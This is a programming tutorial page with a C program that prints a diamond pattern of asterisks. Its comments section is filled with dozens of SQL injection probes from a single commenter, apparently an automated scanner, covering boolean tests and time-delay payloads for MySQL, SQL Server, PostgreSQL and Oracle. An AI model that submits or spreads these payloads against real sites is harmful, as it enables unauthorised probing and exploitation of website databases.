C Program to draw Diamond Pattern

Sample Input 1 :

5

Sample Output 1 :

    *
   ***
  *****
 *******
*********
 *******
  *****
   ***
    *

Program or Solution

				
			
					
#include<stdio.h>
#include<math.h>
int main()
{
	int i,j,k,n,step=1;
	printf("enter row size:");
	scanf("%d",&n);
	for(i=1;i<=2*n-1;i++)
	{

		for(k=1;k<=abs(n-i);k++)
		{
			printf(" ");
		}
		for(j=1;j<=step;j++)
		{
			printf("*");
		}
		

		if(i<n)
		{
			step+=2;
		}
		else
		{	
			step-=2;
		}
		printf("\n");
	}
	return 0;
}
			
				
			

Program Explanation

Refer Video Tutorial

Comments

ubaTaeCJ
-1 OR 2+308-308-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+308-308-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+308-308) --
ubaTaeCJ
-1 OR 3*2>(0+5+308-308) --
ubaTaeCJ
-1 OR 2+353-353-1=0+0+0+1
ubaTaeCJ
-1 OR 3+353-353-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+353-353)
ubaTaeCJ
-1 OR 3*2>(0+5+353-353)
ubaTaeCJ
-1' OR 2+584-584-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+584-584-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+584-584) --
ubaTaeCJ
-1' OR 3*2>(0+5+584-584) --
ubaTaeCJ
-1' OR 2+468-468-1=0+0+0+1 or '87l7h4dh'='
ubaTaeCJ
-1' OR 3+468-468-1=0+0+0+1 or '87l7h4dh'='
ubaTaeCJ
-1' OR 3*2<(0+5+468-468) or '87l7h4dh'='
ubaTaeCJ
-1' OR 3*2>(0+5+468-468) or '87l7h4dh'='
ubaTaeCJ
-1" OR 2+642-642-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+642-642-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+642-642) --
ubaTaeCJ
-1" OR 3*2>(0+5+642-642) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
e7ta1rb6'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 980=(SELECT 980 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 709=(SELECT 709 FROM PG_SLEEP(15))--
ubaTaeCJ
T3xbGBxT' OR 755=(SELECT 755 FROM PG_SLEEP(15))--
ubaTaeCJ
hRqzQZeQ') OR 154=(SELECT 154 FROM PG_SLEEP(15))--
ubaTaeCJ
mOhT3r8A')) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@bZ7d2